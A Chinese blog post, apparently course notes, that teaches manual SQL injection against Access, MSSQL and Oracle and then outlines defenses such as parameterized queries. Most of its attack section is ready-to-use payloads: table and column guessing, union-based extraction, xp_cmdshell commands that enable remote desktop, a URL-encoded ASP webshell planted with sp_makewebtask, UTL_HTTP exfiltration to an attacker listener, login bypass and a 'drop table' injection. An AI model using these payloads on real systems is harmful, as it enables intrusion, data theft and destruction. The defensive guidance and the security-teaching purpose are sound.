码迷,mamicode.com
首页 > 其他好文 > 详细

第十二周

时间:2018-05-20 18:11:47      阅读:214      评论:0      收藏:0      [点我收藏+]

标签:exec   internet   运算符   设置   object   column   大致   一句话木马   出错   

Sun May 20 2018 08:00:00 GMT+0800 (中国标准时间)

 

1:什么是SQL注入

 

SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。

这里我们来理解一下SQL注入

 

首先,SQL注入常年蝉联OWASP排行榜第一名~
技术分享图片

 技术分享图片
 
 
 

sql注入的方法:

技术分享图片
技术分享图片
2.1取消友好HTTP错误消息

 

一般通过远程测试判断是否存在SQL注入,所以通常没有机会通过查看源代码来复查注入的查询结构。这导致经常需要通过推理来进行大量测试

 

  打开IE浏览器,选择菜单“工具”->“Internet选项”对话框。
  打开“高级”选项卡,在设置列表中找到“浏览”组,
  取消勾选”显示友好HTTP错误信息”复选框 。如下图

技术分享图片
  技术分享图片

 

2.2寻找SQL注入

 

最常用的SQL注入判断方法,在网站中寻找如下形式的网页
  www.chinaliancheng.com/.asp?id=1
   www.chinaliancheng.com/
.aspx?id=1
   www.chinaliancheng.com/.php?id=1
  www.chinaliancheng.com/
.jsp?id=1
单引号法
  提交单引号,页面返回错误
  and 1=1 and 1=2
  提交and 1=1 页面返回正常 ,提交and 1=2 页面返回错误

 

2.3确认注入点

 

区分数字和字符串
   数字型
   SELECT *FROM user WHERE id=1
   SELECT * FROM user WHERE id > 1
   带引号类型的
   SELECT * FROM user WHERE name = ‘admin’
   SELECT * FROM user WHERE date > ‘2017-5-3’

 

内联SQL注入:内联注入是指插入查询注入SQL代码后,原来的查询仍然会全部执行。

 

终止式SQL注入:终止式SQL语句注入是指攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句。

 

3:识别数据库

技术分享图片

技术分享图片

技术分享图片
技术分享图片
技术分享图片
3.1:数据库连接运算符
技术分享图片
www.xx.com/news.php?uid=admin
www.xx.com/news.php?uid=ad’+’min
www.xx.com/news.php?uid=ad’’min
www.xx.com/news.php?uid=ad||min

 

3.2 Access数据库注入

 

利用内置数据库表获取数据库类型

 

and (select count() from sysobjects)>=0
  Sysobjects为Mssql数据库内置表
and (select count(
) from msysobjects)>=0
  Msysobjects为Access数据库内置表

 

Access手工注入猜解

 

猜表名
   and exists(select * from 表名)
  and(select count(*) from 表名)>=0

 

猜字段名
   and exists(select 字段名 from 表名)
   and (select count(字段名) from 表名)>=0
猜字段长度
   and (select top 1 len(字段名) from 表名)>1
   and (select top 1 len(字段名) from 表名)>2
   and (select top 1 len(字段名) from 表名)>n

 

猜字段值
  and (select top 1 asc(mid (字段名,1,1)) from 表名)>0
  and (select top 1 asc(mid (字段名,1,1)) from 表名)>1
  and (select top 1 asc(mid (字段名,1,1)) from 表名)>n
  and (select top 1 asc(mid (字段名,2,1)) from 表名)>0
  and (select top 1 asc(mid (字段名,2,1)) from 表名)>2
  and (select top 1 asc(mid (字段名,2,1)) from 表名)>n

 

Order by 猜字段数目

 

  Order by 1
  Order by 2
  Order by n

 

Union select 获取段内容
  Union select 1,字段名,2,…,n from 表名

 

3.3 Mssql数据库注入

 

在进行MsSQL注入攻击时,首先要对MsSQL注入点进行一下基本的注入检查,以确定后面的攻击实施方案。

 

注入点类型的判断
   and exists (select * from sysobjects)
注入点权限判断
   and 1=(select IS_SRVROLEMEMBER(‘sysadmin‘)) //判断是否是系统管理员
   and 1=(select IS_SRVROLEMEMBER(‘db_owner‘)) //判断是否是库权限
   and 1=(select IS_SRVROLEMEMBER(‘public‘)) //判断是否为public权限

 

返回信息判断
   and @@version>0 //数据库信息
   ;declare @d int //判断MsSQL支持多行语句查询
   and (select count(1) from [sysobjects])>=0 //是否支持子查询
   and user>0 //获取当前数据库用户名
   and 1=convert(int,db_name()) 或 1=(select db_name()) //当前数据库名
   and 1=(select @@servername) //本地服务名
   and 1=(select HAS_DBACCESS(‘master‘)) //判断是否有库读取权限

 

检查扩展存储
   检查xp_cmdshell扩展存储
   and 1=(select count() FROM master.dbo.sysobjects WHERE xtype = ‘X‘ AND name = ‘xp_cmdshell‘)
   检查xp_regread扩展存储
   and 1=(select count(
) FROM master.dbo.sysobjects where name = ‘xp_regread‘)

 

恢复扩展存储
   删除xp_cmdshell
   exec master..sp_dropextendedproc‘xp_cmdshell‘
   创建xp_cmdshell
   exec master..sp_addextendedprocxp_cmdshell,‘xplog70.dll‘
   该语句利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell。
   如果xplog70.dll被删除或改名,可以自定义路径进行恢复:
   exec master..sp_addextendedproc‘xp_cmdshell‘,‘c:\xplog70.dll‘

 

Sa权限下扩展存储攻击利用方法
   Xp_cmdshell扩展执行任意命令
   执行任意命令
   ;exec master..xp_cmdshell ‘dir c:\‘
   开启3389
   exec master..xp_cmdshell ‘sc config termservice start=auto‘
   exec master..xp_cmdshell ‘net start termservice‘
   exec master..xp_cmdshell ‘reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0x0 /f‘

 

利用sp_makewebtash写入一句话木马
   exec sp_makewebtask
‘c:\inetpub\wwwroot\c.asp‘,‘select‘‘%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%
63%68%6F%70%70%65%72%22%29%25%3E‘‘‘

 

Dbowner权限下的扩展攻击利用
   判断数据库用户权限
   and 1=(select is_member(‘db_owner‘));
   搜索Web目录
   创建一个临时表
   create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULLIDENTITY(1,1));
   利用xp_dirtree扩展查询
   insert into temp(dir,depth,files)exec master.dbo.xp_dirtree ‘c:‘,1,1
   查询表中的内容
   and(select dir from temp where id=1)>0

 

查询暴库的另一种方法
   暴字段名和字段值
   增加数字n的值,就可以得到表中所有字段
   and (select col_name(object_id(‘表名‘),n))=0
   获取字段内容
   and (select top 1 字段名 from 表名)>0
   爆其他字段值
   and (select top 1 字段名 from 表名 where 字段名<>字段值1)>0

 

3.4 Oracle数据库注入

 

Oracle注入点判断
   and 1=1 and 1=2
   /*
   --
   ;
   and exists(select * from dual)
   and exists(select count(*) from user_tables)>0

 

注入点信息判断
   确定注入点类型后,与前面的MySQL注入一样,先用order by 猜出字段数目,再用联合查询union select方法获取想要的信息。
获取数据库版本信息
   and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual
获取当前数据库连接用户名
   and 1=2 union select null,null,(select SYS_CONTEXT (‘USERENV‘,‘CURRENT_USER‘) fromdual) from dual
获取系统平台
   and 1=2 union select null,null,(select member from v$logfile where rownum=1) from dual
获取服务器SID
   and 1=2 union select null,null,(select instance_namefrom v$instance) from dual

 

爆库名
   and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual
爆出第一个库名后可以使用如下语句,继续爆其他库名
   and 1=2 union select null,null,(select owner from all_table where rownum=1 and owner<>‘第一个库名‘) from dual
获取表名
   and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from dual
爆其他表名
   and 1=2 union select null,null,(select table_name from user_tables where rownum=1 and table_name<>‘第一个表名‘) from dual
注意:表名要用大写或大写的十六进制代码。

 

获取字段名
  and 1=2 union select null,null,(select column_name from user_tab_columns where table_name=‘表名‘ and rownum=1) from dual
获取其他字段名
   and 1=2 union select null,null,(select column_name from user_tab_columns where table_name=‘表名‘ and column_name<>‘第一个字段‘ and rownum=1) from dual
获取字段内容
   and 1=2 union select null,null,字段名 from 表名

 

判断UTL_HTTP存储过程是否可用
   and exists(select count(*) from all_objectswhere object_name=‘UTL_HTTP‘)
监听本地端口
   nc –vv –l –p 8888
   UTL_HTTP反弹注入
   and UTL_HTTP.request(‘http://IP:端口号/‘||(查询语句))=1
技术分享图片  技术分享图片
4 注入工具介绍

技术分享图片
技术分享图片
一般SQL注入

 

  在Web 应用程序的登录验证程序中,一般有用户名(username) 和密码(password) 两个参数,程序会通过用户所提交输入的用户名和密码来执行授权操作。我们有很多人喜欢将SQL语句拼接起来。例如:

 

  Select * from users where username =’ txtusername.Text ’ and password =’ txtpassword.Text ’

 

  其原理是通过查找users 表中的用户名(username) 和密码(password) 的结果来进行授权访问, 在txtusername.Text为mysql,txtpassword.Text为mary,那么SQL查询语句就为:

 

  Select * from users where username =’ mysql ’ and password =’ mary ’

 

  如果分别给txtusername.Text 和txtpassword.Text赋值’ or ‘1’ = ‘1’ --和abc。那么,SQL 脚本解释器中的上述语句就会变为:

 

  Select * from users where username =’’or ‘1’ = ‘1’ -- and password =’abc’

 

  该语句中进行了两个条件判断,只要一个条件成立,就会执行成功。而‘1‘=‘1‘在逻辑判断上是恒成立的,后面的"--" 表示注释,即后面所有的语句为注释语句这样我们就成功登录。即SQL注入成功.

 

  如果我们给txtusername.Text赋值为:’;drop table users--即:

 

  Select * from users where username =’’;drop table users-- and password =’abc’

 

  整个用户表就没有了,当然这里要猜出数据表名称。想想是多么可怕的事情。

 

  好我想大家在这里已经大致明白了一般SQL注入了,试想下您的登录程序会不会出现我上述的情况。

 

防范SQL注入

 

1.限制错误信息的输出

 

  这个方法不能阻止SQL注入,但是会加大SQL注入的难度,不会让注入者轻易得到一些信息,让他们任意破坏数据库。SQL Server有一些系统变量,如果我们没有限制错误信息的输出,那么注入着可以直接从出错信息获取,例如(假定这里用的string即字符类型并可以发生SQL注入):http://www.xxx.com/showdetail.aspx?id=49 and user>0 这句语句很简单,但却包含了SQL Server特有注入方法的精髓,。首先看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQL Server的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQL Server的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,注入着就拿到了数据库的用户名。

 

  众所周知,SQL Server的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。

 

  当然注入者还可以输入不同的信息来得到他们想要的信息 ,上面只是其中一个例子,所以我们要限制错误信息的输出,从而保护我们的数据库数据,这里我给出.NET限制错误信息的方法:

 

  在Web.Config文件中设置

 

  

 

  

 

  这样当发生错误时候就不会讲信息泄露给外人。

 

2.限制访问数据库帐号的权限

 

  对于数据库的任何操作都是以某种特定身份和相应权限来完成的,SQL语句执行前,在数据库服务器端都有一个用户权限验证的过程,只有具备相应权限的帐号才可能执行相应权限内的SQL语句。因此,限制数据库帐号权限,实际上就阻断了某些SQL语句执行的可能。不过,这种方法并不能根本解决SQL注入问题,因为连接数据库的帐号几乎总是比其他单个用户帐号拥有更多的权限。通过限制贴帐号权限,可以防止删除表的攻击,但不能阻止攻击者偷看别人的信息。

 

3.参数化使用命令

 

  参数化命令是在SQL文本中使用占位符的命令。占位符表示需要动态替换的数据,它们通过Command对象Parameters集合来传送。能导致攻击的SQL代码可以写成:

 

Select * from employee where userID=@userID;

 

  如果用户输入: 09105022’OR ‘1’=’1,将得不到何记录,因为没有一个用户ID与文本框中输入的’ 09105022’OR ‘1’=’1’相等。参数化命令的语法随提供程序的不同略有差异。对于SQL SERVER提供程序,参数化命令使用命名的占位符(具有唯一的名字),而对于OLE DB提供程序,每个硬编码的值被问号代替。使用OLE DB提供程序时,需要保证参数的顺序和它们出现在SQL字符串中的位置一致。SQL SERVER提供程序没有这样的需求,因为它们用名字和占位符匹配。

 

4.调用存储过程

 

  存储过程是存储在数据库服务器上的一系列SQL代码,存储过程与函数相似,有良好的逻辑封装结构,可以接收和返回数据。使用存储过程可以使代码更易于维护,因为对存储过程的更改不会导致应用程序的重新编译,使用存储过程还可以节省带宽,提高应用程序性能。因为存储过程是存储在数据库服务端的独立的封装体,调用存储过程可以保证应用程序只执行存储过程中的固定代码,从而杜绝SQL语句注入的可能。结合上述所讲的参数化命令,可以实现SQL代码可以实现的任何功能,并进一步提高应用程序的安全等级。

第十二周

标签:exec   internet   运算符   设置   object   column   大致   一句话木马   出错   

原文地址:https://www.cnblogs.com/nalanruntu/p/9063766.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!